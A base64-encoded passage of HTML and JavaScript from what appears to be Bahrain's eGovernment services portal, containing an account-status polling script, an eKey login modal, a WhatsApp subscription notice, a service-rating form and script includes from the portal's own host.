T4gewogICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ3aGVuUmVqZWN0Iikuc3R5bGUuZGlzcGxheSA9ICJub25lIjsKICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2hhU2hpZGEiKS5zdHlsZS5ib3JkZXIgPSAnMXB4IHNvbGlkIGdyZXknOwogICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJmdUR1Iikuc3R5bGUuYm9yZGVyID0gJzFweCBzb2xpZCBncmV5JzsKICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidUt1Iikuc3R5bGUuYm9yZGVyID0gJzFweCBzb2xpZCBncmV5JzsKICAgICAgICAgICAgICAgIH0sIDEwMDAwKTsKCiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBjb25zb2xlLmVycm9yKCJFcnJvcjogIiArIHhoci5zdGF0dXNUZXh0KTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH07CiAgICAgICAgeGhyLnNlbmQoKTsKICAgIH0KCiAgICAvLyBTdGFydCB0aGUgaW50ZXJ2YWwgaW5pdGlhbGx5CiAgICBpbnRlcnZhbElkID0gc2V0SW50ZXJ2YWwoY2hlY2tBY2NvdW50U3RhdHVzLCAxMDAwKTsKPC9zY3JpcHQ+CgoKCgo8ZGl2IGlkPSJnZW5lcmFsTW9kZWwiIHN0eWxlPSJkaXNwbGF5OiBub25lOyIgY2xhc3M9InJvdy1mbHVpZCI+Cgk8IS0tIFBvcHVwIGJhY2tkcm9wIC0tPgoJPGRpdiBjbGFzcz0ibW9kYWwtYmFja2Ryb3AgaW4iIGRhdGEtYmFja2Ryb3A9InN0YXRpYyIgZGF0YS1rZXlib2FyZD0iZmFsc2UiPjwvZGl2PgoKCTwhLS0gVGhlIHBvcHVwIG1vZGFsIC0tPgoJPGRpdiBpZD0idGhlR2VuZXJhbE1vZGFsIiBjbGFzcz0ibW9kYWwgZmFkZSBpbiIgdGFiaW5kZXg9Ii0xIiByb2xlPSJkaWFsb2ciIGFyaWEtaGlkZGVuPSJmYWxzZSI+IDwhLS0gc3R5bGU9InRvcDogNSU7IG92ZXJmbG93OmF1dG87IGxlZnQ6NDYlOyIgLS0+PCEtLSBQb3B1cCBIZWFkZXIgLS0+CgkJPGRpdiBjbGFzcz0ibW9kYWwtaGVhZGVyIiBzdHlsZT0icGFkZGluZzogMHB4IDEwcHg7YmFja2dyb3VuZC1jb2xvcjogI2ZmZjsgYm9yZGVyOjBweDsiPgoJCQk8IS0tIENsb3NlIGljb24gLS0+CgkJCTxhIGNsYXNzPSJtaW5pbWl6ZU1vZGFsIj48aSBjbGFzcz0ibWF0ZXJpYWwtaWNvbnMiIHN0eWxlPSJmb250LWZhbWlseTogdmVyZGFuYTsgZm9udC1zaXplOiAxNXB4OyBjb2xvcjojMDAwOyI+WDwvaT48L2E+CgkJCTwhLS0gVGl0bGUgLSB0ZXh0IGZyb20gYnVuZGxlIC0tPjwhLS0gVGl0bGUgLSBEaXJlY3QgdGV4dCAtLT4KCQk8L2Rpdj4KCgkJPCEtLSBQb3B1cCBCb2R5IC0tPgoJCTxkaXYgY2xhc3M9Im1vZGFsLWJvZHkiIHN0eWxlPSJwYWRkaW5nOiAwcHg7IG1pbi1oZWlnaHQ6MjAwcHg7IHBhZGRpbmc6IDBweDsgbWF4LWhlaWdodDogbm9uZTsiPgoJCQk8IS0tIFBvcHVwIENvbnRlbnQgLS0+CgkJCTxkaXYgY2xhc3M9InJvdy1mbHVpZCI+CgoJCQkJPCEtLSBUZXh0IE1lc3NhZ2UgLSBHZW5lcmFsIC0gRU4gYW5kIEFSIC0tPjwhLS0gVGV4dCBNZXNzYWdlIC0gTWFuYWdlIGUta2V5IFByb2ZpbGUgLSBFTiBhbmQgQVIgLS0+CgkJCQk8ZGl2IGNsYXNzPSJzcGFuMTIiIGlkPSJteU1vZGFsQm9keTIiIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+SW4gb3JkZXIgdG8gbWFuYWdlIHlvdXIgUHJvZmlsZSwgeW91IHdpbGwgYmUgYXV0b21hdGljYWxseSBzaWduZWQgb3V0IGZyb20gdGhlIGVLZXkgc3lzdGVtIHRvIHByb3RlY3QgYW5kIHNlY3VyZSB5b3VyIHBlcnNvbmFsIGluZm9ybWF0aW9uLjwvZGl2PgoKCQkJCTwhLS0gSW1hZ2UgTWVzc2FnZSAtIEVOIGFuZCBBUiAtLT4JCQkgCgkJCTwvZGl2PgoJCTwvZGl2PgoJCTwhLS0gUG9wdXAgRm9vdGVyIC0tPgoJCTxkaXYgY2xhc3M9Im1vZGFsLWZvb3Rlci1nZW5lcmFsIiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyBwYWRkaW5nOiA1cHg7IGRpc3BsYXk6IGJsb2NrOyBiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ij4KCQkJPCEtLSBPSyBidXR0b24gLS0+CgkJCTxidXR0b24gc3R5bGU9ImRpc3BsYXk6IG5vbmU7IiBjbGFzcz0iYnV0dG9uX3N0eWxlIiBpZD0ibG9naW4tYmFyLW1hbmFnZS1wcm9maWxlLWJ1dHRvbi1vayIgdHlwZT0iYnV0dG9uIiBkYXRhLWRpc21pc3M9Im1vZGFsIiBhcmlhLWhpZGRlbj0idHJ1ZSI+T2s8L2J1dHRvbj4KCQkJPCEtLSBDbG9zZSBidXR0b24gLS0+CgkJCTxidXR0b24gc3R5bGU9ImRpc3BsYXk6IG5vbmU7IGZsb2F0OiBub25lOyIgY2xhc3M9ImJ1dHRvbl9zdHlsZSBtaW5pbWl6ZU1vZGFsIiBpZD0iZ2VuZXJhbC1tb2RlbC1idXR0b24tYm90dG9tLWNsb3NlIiB0eXBlPSJidXR0b24iIGRhdGEtZGlzbWlzcz0ibW9kYWwiIGFyaWEtaGlkZGVuPSJ0cnVlIj5DbG9zZTwvYnV0dG9uPgoJCTwvZGl2PgoJPC9kaXY+CjwvZGl2Pgo8IS0tIEVuZCAtIEdlbmVyYWwgUG9wdXAgLS0+Cgo8ZGl2IGlkPSJ3aGF0c3VwTW9kZWwiIHN0eWxlPSJkaXNwbGF5OiBub25lOyIgY2xhc3M9InJvdy1mbHVpZCI+Cgk8ZGl2IGNsYXNzPSJtb2RhbC1iYWNrZHJvcCBpbiIgZGF0YS1iYWNrZHJvcD0ic3RhdGljIiBkYXRhLWtleWJvYXJkPSJmYWxzZSI+Cgk8L2Rpdj4KCTxkaXYgY2xhc3M9Im1vZGFsIGZhZGUgaW4iIHRhYmluZGV4PSItMSIgcm9sZT0iZGlhbG9nIiBhcmlhLWxhYmVsbGVkYnk9IndoYXRzYXBwc3Vic2NyaXB0aW9uIiBhcmlhLWhpZGRlbj0iZmFsc2UiPgoJCTxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciI+CgkJCTxoNCBpZD0id2hhdHNhcHBzdWJzY3JpcHRpb24iIHN0eWxlPSJjb2xvcjojMTI1OWZmOyI+CgkJCQlTdWJzY3JpYmUgd2l0aCB1cwoJCQk8L2g0PgoJCTwvZGl2PgoJCTxkaXYgY2xhc3M9Im1vZGFsLWJvZHkiPgoJCQk8cD4KCQkJCVN1YnNjcmliZSB3aXRoIHVzIHRvIHJlY2VpdmUgdGhlIGxhdGVzdCB1cGRhdGVzIGFuZCBhd2FyZW5lc3MgcHJvbW90aW9ucyBvbiBhbGwgZXNlcnZpY2VzICZhbXA7IGNoYW5uZWxzIHZpYSB0aGUgZUdvdmVybm1lbnQgV2hhdHNBcHAgc2VydmljZS4gVG8gc3Vic2NyaWJlIHNlbmQgInN1YnNjcmliZSIgdG8gdGhlIG51bWJlciAzMjE4ODI4OC4KCQkJPC9wPgoJCQk8YnI+CQoJCQk8cD4KCQkJCVRvIHVuc3Vic2NyaWJlIHNlbmQgInVuc3Vic2NyaWJlIi4KCQkJPC9wPgoJCTwvZGl2PgoJCTxkaXYgY2xhc3M9Im1vZGFsLWZvb3RlciIgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyIj4KCQkJPGEgc3R5bGU9ImRpc3BsYXk6IG5vbmU7IiBpZD0id2hhdHN1cC1tb2RlbC1zdWJzY3JpYmUtbGluayIgY2xhc3M9ImJ1dHRvbl9zdHlsZSIgaHJlZj0iaHR0cHM6Ly9hcGkud2hhdHNhcHAuY29tL3NlbmQ/cGhvbmU9OTczMzIxODgyODgmYW1wO3RleHQ9U3Vic2NyaWJlIj4KCQkJCVN1YnNjcmliZQoJCQk8L2E+CgkJCTxhIHN0eWxlPSJkaXNwbGF5OiBpbmxpbmUtYmxvY2s7IiBpZD0id2hhdHN1cC1tb2RlbC1jbG9zZS1saW5rIiBjbGFzcz0iYnV0dG9uX3N0eWxlIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7Ij4KCQkJCUNsb3NlCgkJCTwvYT4JCQkKCQk8L2Rpdj4KCTwvZGl2Pgo8L2Rpdj4gCjxkaXYgaWQ9ImVrZXlNb2RlbCIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7IiBjbGFzcz0icm93LWZsdWlkIj4KCTxkaXYgY2xhc3M9Im1vZGFsLWJhY2tkcm9wIGluIiBkYXRhLWJhY2tkcm9wPSJzdGF0aWMiIGRhdGEta2V5Ym9hcmQ9ImZhbHNlIj4KCTwvZGl2PgoJPGRpdiBjbGFzcz0ibW9kYWwgZmFkZSBpbiIgdGFiaW5kZXg9Ii0xIiByb2xlPSJkaWFsb2ciIGFyaWEtbGFiZWxsZWRieT0iZUtleVBvcHVwTW9kZWwiIGFyaWEtaGlkZGVuPSJmYWxzZSIgc3R5bGU9Ii8qbGVmdDogNDYlOyovIj4KCQk8ZGl2IGNsYXNzPSJtb2RhbC1ib2R5IiBzdHlsZT0ibWF4LWhlaWdodDo0NTBweCI+CgkJCTxkaXYgY2xhc3M9InJvdy1mbHVpZCI+CgkJCQk8ZGl2IGNsYXNzPSJzcGFuMTIiPgoJCQkJCTxkaXYgY2xhc3M9ImxvZ2luX2NvbnRhaW5lciBhbGlnbi1jZW50ZXIiPgoJCQkJCQk8ZGl2IGNsYXNzPSJtYWluLWhlYWRpbmdzIHVzZXJfaWNvbiBtYXItYnRtLTIwIj4mbmJzcDs8L2Rpdj4KCQkJCQkJPHAgaWQ9ImVLZXlQb3B1cE1vZGVsIj5Zb3VyIFNpbmdsZSBTaWduIE9uIHRvIGVTZXJ2aWNlczwvcD4KCQkJCQkJCgkJCQkKCQkJCQkJPGRpdiBjbGFzcz0ibWFyLXRvcC0yNSI+CgkJCQkJCQk8c3BhbiBjbGFzcz0iaWNvbl9zcGFjZSI+CgkJCQkJCQk8aW1nIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgYWx0PSJ1c2VybmFtZSIgc3JjPSJodHRwczovL3NlcnZpY2VzLmJhaHJhaW4uYmgvd3BzL2NvbnRlbnRoYW5kbGVyLyF1dC9wL2RpZ2VzdCFWakJ1ZVFjRGc5WnRFUnVjMXY0LXp3L2Rhdi9mcy10eXBlMS90aGVtZXMvUG9ydGFsUGx1c1NlcnZpY2VzL2ltYWdlcy91c2VybmFtZV9pY29uLnN2ZyI+CgkJCQkJCQk8L3NwYW4+CgkJCQkJCQk8bGFiZWwgc3R5bGU9ImRpc3BsYXk6bm9uZTsiIGZvcj0iZWtleUxvZ2luSWROdW1iZXIiPklEIE51bWJlcjwvbGFiZWw+CgkJCQkJCQk8aW5wdXQgaWQ9ImVrZXlMb2dpbklkTnVtYmVyIiBuYW1lPSJpZCBudW1iZXIiIHR5cGU9InRlbCIgbWF4bGVuZ3RoPSIxNSIgdGl0bGU9IklEIE51bWJlciIgY2xhc3M9InBlcnNvbmFsTnVtYmVyU2lnSW4gY3VzdG9tUGFzc3dvcmRJbnB1dCBudW1iZXJPbmx5ViIgYXV0b2NvbXBsZXRlPSJvZmYiIHBsYWNlaG9sZGVyPSJJRCBOdW1iZXIiPgkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCgkJCQkJCQk8YnI+CgkJCQkJCQk8c3BhbiBjbGFzcz0iaWNvbl9zcGFjZSI+CgkJCQkJCQk8aW1nIHdpZHRoPSIxNiIgaGVpZ2h0PSIxOCIgYWx0PSJwYXNzd29yZCIgc3JjPSJodHRwczovL3NlcnZpY2VzLmJhaHJhaW4uYmgvd3BzL2NvbnRlbnRoYW5kbGVyLyF1dC9wL2RpZ2VzdCFWakJ1ZVFjRGc5WnRFUnVjMXY0LXp3L2Rhdi9mcy10eXBlMS90aGVtZXMvUG9ydGFsUGx1c1NlcnZpY2VzL2ltYWdlcy9wYXNzd29yZF9pY29uLnN2ZyI+CgkJCQkJCQk8L3NwYW4+CgkJCQkJCQk8bGFiZWwgc3R5bGU9ImRpc3BsYXk6bm9uZTsiIGZvcj0iZWtleUxvZ2luUGFzc3dvcmQiPlBhc3N3b3JkPC9sYWJlbD4KCQkJCQkJCTxpbnB1dCB0eXBlPSJwYXNzd29yZCIgaWQ9ImVrZXlMb2dpblBhc3N3b3JkIiBuYW1lPSJQYXNzd29yZCB0aXRsZT0iIGVudGVyPSIiIHBhc3N3b3JkIj0iIiBjbGFzcz0icGFzc3dvcmRTaWduSW4gY3VzdG9tUGFzc3dvcmRJbnB1dCIgYXV0b2NvbXBsZXRlPSJvZmYiIHBsYWNlaG9sZGVyPSJQYXNzd29yZCI+CgkJCQkJCQk8ZGl2IGNsYXNzPSJlcnJvci1ibG9jayIgc3R5bGU9ImZsb2F0Om5vbmU7Ij4KCQkJCQkJCQk8c3BhbiBpZD0iZWtleUxvZ2luRXJyb3JNZXNzYWdlIj48L3NwYW4+CgkJCQkJCQk8L2Rpdj4KCQkJCQkJCTxicj4KCQkJCQkJPC9kaXY+CgkJCQkJCTxkaXYgY2xhc3M9ImxpbmtfY29udGFpbmVyIj4KCQkJCQkJPCEtLSBGb3JnZXQgUGFzc3dvcmQgLS0+CgkJCQkJCQk8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iL3dwcy9wb3J0YWwvRm9yZ290UGFzc3dvcmRfZW4iPgoJCQkJCQkJCUZvcmdvdCBQYXNzd29yZD8KCQkJCQkJCTwvYT4KCQkJCQkJCTwhLS0gUmVnaXN0ZXIgb3IgU2lnblVwIGZvciBuZXcgYWNjb3VudCAtLT4KCQkJCQkJCTxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSIvd3BzL3BvcnRhbC9TaWduVXBfZW4iPgoJCQkJCQkJCURvbid0IGhhdmUgYW4gYWNjb3VudD8gUmVnaXN0ZXIgbm93ICEKCQkJCQkJCTwvYT4JCQkJCQkJCgkJCQkJCQoJCQkJCQk8L2Rpdj4JCQkJCQkKCQkJCQkJPGRpdiBjbGFzcz0iYnV0dG9uX2NvbnRhaW5lciI+CgkJCQkJCQk8aW5wdXQgb25jbGljaz0icmV0dXJuIHh0X2NsaWNrKHRoaXMsJ0MnLCdsZXZlbDJfbnVtYmVyJywnUG9ydGFsIEF1dGhlbnRpY2F0aW9uIOKAkyBDbGljayDigJMgTG9naW5uJywnTicpOyIgaWQ9ImVrZXlsb2dpblN1Ym1pdCIgbmFtZT0iTG9naW4iIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkxvZ2luIiBjbGFzcz0iYnV0dG9uX3N0eWxlIHN1Ym1pdFNpZ25JbiI+CgkJCQkJCQk8YnV0dG9uIGlkPSJla2V5TG9naW5DYW5jZWwiIGNsYXNzPSJidXR0b25fc3R5bGUiPkNhbmNlbDwvYnV0dG9uPgkJCQkJCQkKCQkJCQkJPC9kaXY+CgkJCQkJPC9kaXY+CgkJCQk8L2Rpdj4KCQkJPC9kaXY+CgkJPC9kaXY+Cgk8L2Rpdj4KPC9kaXY+Cgo8ZGl2IGlkPSJyYXRpbmdNb2RlbCIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7IiBjbGFzcz0icm93LWZsdWlkIj4KCTxkaXYgY2xhc3M9Im1vZGFsLWJhY2tkcm9wIGluIiBkYXRhLWJhY2tkcm9wPSJzdGF0aWMiIGRhdGEta2V5Ym9hcmQ9ImZhbHNlIj4KCTwvZGl2PgoJPGRpdiBjbGFzcz0ibW9kYWwgZmFkZSBpbiIgdGFiaW5kZXg9Ii0xIiByb2xlPSJkaWFsb2ciIGFyaWEtbGFiZWxsZWRieT0icmF0aW5nUG9wdXBNb2RhbCIgYXJpYS1oaWRkZW49ImZhbHNlIj4KCQk8ZGl2IGNsYXNzPSJtb2RhbC1oZWFkZXIiPgoJCQk8YSBjbGFzcz0ibWluaW1pemVNb2RhbCI+CgkJCQk8aSBjbGFzcz0ibWF0ZXJpYWwtaWNvbnMiPgoJCQkJCW1pbmltaXplCgkJCQk8L2k+CgkJCTwvYT4KCQkJPGg0IGlkPSJyYXRpbmdQb3B1cE1vZGFsIiBzdHlsZT0iY29sb3I6IzEyNTlmZjsiPlJhdGUgdGhpcyBzZXJ2aWNlPC9oND4JCQoJCTwvZGl2PgkKCQk8ZGl2IGNsYXNzPSJtb2RhbC1ib2R5Ij4KCQkJPGRpdiBjbGFzcz0icm93LWZsdWlkIj4KCQkJCTxkaXYgY2xhc3M9InNwYW4xMiI+CgkJCQkJPGRpdiBjbGFzcz0icmF0aW5nX2NvbnRhaW5lciBhbGlnbi1jZW50ZXIiPgoJCQkJCQoJCQkJCQk8aSBjbGFzcz0ibWF0ZXJpYWwtaWNvbnMiIHN0eWxlPSJmb250LXNpemU6IDcwcHg7ZGlzcGxheTogbm9uZTsiPmNoZWNrX2NpcmNsZV9vdXRsaW5lPC9pPgoJCQkJCQoJCQkJCQk8cD5Ib3cgc2F0aXNmaWVkIGFyZSB5b3Ugd2l0aCB0aGlzIHNlcnZpY2U/PC9wPgoJCQkJCQkKCQkJCQkJPGRpdiBjbGFzcz0icm93LWZsdWlkIG10LTMiPgoJCQkJCQkJPHVsIGlkPSJzZXJ2aWNlUmF0aW5nRmFjZXMiPgoJCQkJCQkJCTxsaT4KCQkJCQkJCQkJPGltZyBjbGFzcz0iUmF0aW5nSW1nIiBpZD0iSW1nU21pbGV5IiBzdHlsZT0iY3Vyc29yOiBwb2ludGVyOyIgYWx0PSJTYXRpc2ZpZWQiIHRpdGxlPSJTYXRpc2ZpZWQiIHNyYz0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9jb250ZW50aGFuZGxlci8hdXQvcC9kaWdlc3QhVmpCdWVRY0RnOVp0RVJ1YzF2NC16dy9kYXYvZnMtdHlwZTEvdGhlbWVzL1BvcnRhbFBsdXNTZXJ2aWNlcy9pbWFnZXMvc21pbGV5X2ZhY2UucG5nIj4KCQkJCQkJCQk8L2xpPgoJCQkJCQkJCTxsaT4KCQkJCQkJCQkJPGltZyBjbGFzcz0iUmF0aW5nSW1nIiBpZD0iSW1nTm9ybWFsIiBzdHlsZT0iY3Vyc29yOiBwb2ludGVyOyIgYWx0PSJOZXV0cmFsIiB0aXRsZT0iTmV1dHJhbCIgc3JjPSJodHRwczovL3NlcnZpY2VzLmJhaHJhaW4uYmgvd3BzL2NvbnRlbnRoYW5kbGVyLyF1dC9wL2RpZ2VzdCFWakJ1ZVFjRGc5WnRFUnVjMXY0LXp3L2Rhdi9mcy10eXBlMS90aGVtZXMvUG9ydGFsUGx1c1NlcnZpY2VzL2ltYWdlcy9ub3JtYWxfZmFjZS5wbmciPgoJCQkJCQkJCTwvbGk+CgkJCQkJCQkJPGxpPgoJCQkJCQkJCQk8aW1nIGNsYXNzPSJSYXRpbmdJbWciIGlkPSJJbWdBbmdyeSIgc3R5bGU9ImN1cnNvcjogcG9pbnRlcjsiIGFsdD0iRGlzc2F0aXNmaWVkIiB0aXRsZT0iRGlzc2F0aXNmaWVkIiBzcmM9Imh0dHBzOi8vc2VydmljZXMuYmFocmFpbi5iaC93cHMvY29udGVudGhhbmRsZXIvIXV0L3AvZGlnZXN0IVZqQnVlUWNEZzladEVSdWMxdjQtencvZGF2L2ZzLXR5cGUxL3RoZW1lcy9Qb3J0YWxQbHVzU2VydmljZXMvaW1hZ2VzL2FuZ3J5X2ZhY2UucG5nIj4KCQkJCQkJCQk8L2xpPgoJCQkJCQkJPC91bD4KCQkJCQkJPC9kaXY+CgkJCQkJCTxwIGlkPSJyYXRpbmdNZXNzYWdlIiBzdHlsZT0iY29sb3I6ICNjODAwMDk7cGFkZGluZyA6NXB4Ij48L3A+CgkJCQkJCTxkaXYgaWQ9InJhdGluZ0Zvcm0iIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+CgkJCQkJCQk8ZGl2IGNsYXNzPSJyb3ctZmx1aWQgbXQtMiI+CgkJCQkJCQkJPGRpdiBjbGFzcz0ic3BhbjEyIGZvcm0tcm93IiBpZD0icmF0aW5nSW5wdXRDb21tZW50Ij4KCQkJCQkJCQkJPGRpdiBjbGFzcz0iZm9ybS1jb2wxIj4KCQkJCQkJCQkJCTxsYWJlbCBmb3I9ImZlZWRiYWNrVGV4dEFyZWEiPjxlbT4qPC9lbT5Db21tZW50PC9sYWJlbD4KCQkJCQkJCQkJPC9kaXY+CgkJCQkJCQkJCTxkaXYgY2xhc3M9ImZvcm0tY29sMiI+CgkJCQkJCQkJCQk8ZGl2IGNsYXNzPSJmb3JtLWNvbnRyb2wtYmxvY2sgYmxvY2stZnVsbCI+CgkJCQkJCQkJCQkJPHRleHRhcmVhIGlkPSJmZWVkYmFja1RleHRBcmVhIiBtYXhsZW5ndGg9IjIwMCIgb25rZXl1cD0idGV4dGFyZWFDb3VudGVyKHRoaXMsMjAwKTsiPjwvdGV4dGFyZWE+ICAKCQkJCQkJCQkJCQk8YnI+CgkJCQkJCQkJCQkJICA8ZGl2IGNsYXNzPSJ0ZXh0Q291bnRlciI+CgkJCQkJCQkJCQkJCTxzcGFuPjIwMDwvc3Bhbj4KCQkJCQkJCQkJCQkJPHNwYW4+Y2hhcmFjdGVycyBsZWZ0PC9zcGFuPgoJCQkJCQkJCQkJCSAgPC9kaXY+ICAgICAgICAgIAoJCQkJCQkJCQkJPC9kaXY+CQkJCQkJCQkJCQoJCQkJCQkJCQkJPGRpdiBjbGFzcz0iZXJyb3ItYmxvY2siIHJvbGU9ImFsZXJ0Ij4KCQkJCQkJCQkJCQk8c3Bhbj48L3NwYW4+CgkJCQkJCQkJCQk8L2Rpdj4KCQkJCQkJCQkJPC9kaXY+CgkJCQkJCQkJPC9kaXY+CgkJCQkJCQk8L2Rpdj4KCQkJCQkJCTxkaXYgY2xhc3M9InJvdy1mbHVpZCI+CgkJCQkJCQkJPGRpdiBjbGFzcz0ic3BhbjEyIGZvcm0tcm93IiBpZD0icmF0aW5nSW5wdXRNb2JpbGUiPgoJCQkJCQkJCQk8ZGl2IGNsYXNzPSJmb3JtLWNvbDEiPgoJCQkJCQkJCQkJPGxhYmVsPk1vYmlsZTwvbGFiZWw+CgkJCQkJCQkJCTwvZGl2PgoJCQkJCQkJCQk8ZGl2IGNsYXNzPSJmb3JtLWNvbDIiPgoJCQkJCQkJCQkJPGRpdiBjbGFzcz0iZm9ybS1jb250cm9sLWJsb2NrIGJsb2NrLWZ1bGwiPgoJCQkJCQkJCQkJCTxpbnB1dCB0eXBlPSJ0ZWwiIG1pbmxlbmd0aD0iOCIgdmFsdWU9IiIgdGl0bGU9Ik1vYmlsZSIgYXV0b2NvbXBsZXRlPSJvZmYiPgkgICAgICAgICAgICAgIAoJCQkJCQkJCQkJPC9kaXY+CgkJCQkJCQkJCQk8ZGl2IGNsYXNzPSJlcnJvci1ibG9jayIgcm9sZT0iYWxlcnQiPgoJCQkJCQkJCQkJCTxzcGFuPjwvc3Bhbj4KCQkJCQkJCQkJCTwvZGl2PgoJCQkJCQkJCQk8L2Rpdj4KCQkJCQkJCQk8L2Rpdj4KCQkJCQkJCTwvZGl2PgoJCQkJCQkJPGRpdiBjbGFzcz0icm93LWZsdWlkIj4KCQkJCQkJCQk8ZGl2IGNsYXNzPSJzcGFuMTIgZm9ybS1yb3ciIGlkPSJyYXRpbmdJbnB1dEVtYWlsIj4KCQkJCQkJCQkJPGRpdiBjbGFzcz0iZm9ybS1jb2wxIj4KCQkJCQkJCQkJCTxsYWJlbD5FbWFpbDwvbGFiZWw+CgkJCQkJCQkJCTwvZGl2PgoJCQkJCQkJCQk8ZGl2IGNsYXNzPSJmb3JtLWNvbDIiPgoJCQkJCQkJCQkJPGRpdiBjbGFzcz0iZm9ybS1jb250cm9sLWJsb2NrIGJsb2NrLWZ1bGwiPgoJCQkJCQkJCQkJCTxpbnB1dCB0eXBlPSJlbWFpbCIgdmFsdWU9IiIgdGl0bGU9IkVtYWlsIiBhdXRvY29tcGxldGU9Im9mZiI+CSAgICAgICAgICAgICAgCgkJCQkJCQkJCQk8L2Rpdj4KCQkJCQkJCQkJCTxkaXYgY2xhc3M9ImVycm9yLWJsb2NrIiByb2xlPSJhbGVydCI+CgkJCQkJCQkJCQkJPHNwYW4+PC9zcGFuPgoJCQkJCQkJCQkJPC9kaXY+CgkJCQkJCQkJCTwvZGl2PgoJCQkJCQkJCTwvZGl2PgoJCQkJCQkJPC9kaXY+CgkJCQkJCTwvZGl2PgoJCQkJCQk8ZGl2IGNsYXNzPSJidXR0b25zIG10LTMiIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+CgkJCQkJCQk8YSBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBpZD0icmF0aW5nTW9kZWxDbGVhciIgY2xhc3M9ImJ1dHRvbl9zdHlsZSI+Q2xlYXI8L2E+CQkJCQkJCQkJCQkKCQkJCQkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIGlkPSJyYXRpbmdNb2RlbFN1Ym1pdCIgY2xhc3M9ImJ1dHRvbl9zdHlsZSI+U3VibWl0PC9hPgoJCQkJCQk8L2Rpdj4KCQkJCQk8L2Rpdj4KCQkJCTwvZGl2PgoJCQk8L2Rpdj4KCQk8L2Rpdj4KCTwvZGl2Pgo8L2Rpdj4KCjwhLS0gQ3JvcCBNb2RlbCAtLT4KPGRpdiBpZD0iY3JvcHBlck1vZGVsIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiIGNsYXNzPSJyb3ctZmx1aWQiPgoJPGRpdiBjbGFzcz0ibW9kYWwtYmFja2Ryb3AgaW4iIGRhdGEtYmFja2Ryb3A9InN0YXRpYyIgZGF0YS1rZXlib2FyZD0iZmFsc2UiPgoJPC9kaXY+Cgk8ZGl2IGNsYXNzPSJtb2RhbCBmYWRlIGluIiB0YWJpbmRleD0iLTEiIHJvbGU9ImRpYWxvZyIgYXJpYS1sYWJlbGxlZGJ5PSJjcm9wcGVyUG9wdXBNb2RhbCIgYXJpYS1oaWRkZW49ImZhbHNlIj4KCQk8ZGl2IGNsYXNzPSJtb2RhbC1oZWFkZXIiPgoJCQk8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImNsb3NlIGNyb3BwZXItY2FuY2VsLWFjdGlvbiIgZGF0YS1kaXNtaXNzPSJtb2RhbCIgYXJpYS1oaWRkZW49InRydWUiPsOXPC9idXR0b24+CgkJCTxoNCBpZD0iY3JvcHBlclBvcHVwTW9kYWwiPgoJCQkJQXR0YWNoIFBob3RvCgkJCTwvaDQ+CgkJPC9kaXY+CgkJPGRpdiBjbGFzcz0ibW9kYWwtYm9keSI+CgkJPC9kaXY+Cgk8L2Rpdj4KPC9kaXY+CjwhLS0gQ3JvcCBNb2RlbCAtIEVORCAtLT4KCgo8c2NyaXB0IHNyYz0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9jb250ZW50aGFuZGxlci8hdXQvcC9kaWdlc3QhVmpCdWVRY0RnOVp0RVJ1YzF2NC16dy9kYXYvZnMtdHlwZTEvdGhlbWVzL1BvcnRhbFBsdXNTZXJ2aWNlcy9qcy9qcXVlcnkubW9iaWxlLmN1c3RvbS5taW4uanMiIHR5cGU9InRleHQvamF2YXNjcmlwdCI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSJodHRwczovL3NlcnZpY2VzLmJhaHJhaW4uYmgvd3BzL2NvbnRlbnRoYW5kbGVyLyF1dC9wL2RpZ2VzdCFWakJ1ZVFjRGc5WnRFUnVjMXY0LXp3L2Rhdi9mcy10eXBlMS90aGVtZXMvUG9ydGFsUGx1c1NlcnZpY2VzL2pzL2Jvb3RzdHJhcC5taW4uanMiIHR5cGU9InRleHQvamF2YXNjcmlwdCI+PC9zY3JpcHQ+IAo8c2NyaXB0IHNyYz0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9jb250ZW50aGFuZGxlci8hdXQvcC9kaWdlc3QhVmpCdWVRY0RnOVp0RVJ1YzF2NC16dy9kYXYvZnMtdHlwZTEvdGhlbWVzL1BvcnRhbFBsdXNTZXJ2aWNlcy9qcy9lYXN5UmVzcG9uc2l2ZVRhYnMtc3ZnZWV6eS1zZXJ2aWNlLW1lcmdlZC5qcyIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij48L3NjcmlwdD4KCgoJPHNjcmlwdCBzcmM9Imh0dHBzOi8vc2VydmljZXMuYmFocmFpbi5iaC93cHMvY29udGVudGhhbmRsZXIvIXV0L3AvZGlnZXN0IVZqQnVlUWNEZzladEVSdWMxdjQtencvZGF2L2ZzLXR5cGUxL3RoZW1lcy9Qb3J0YWxQbHVzU2VydmljZXMvanMvYm9vdHN0cmFwLWRhdGVwaWNrZXJfZW4uanMiIHR5cGU9InRleHQvamF2YXNjcmlwdCI+PC9zY3J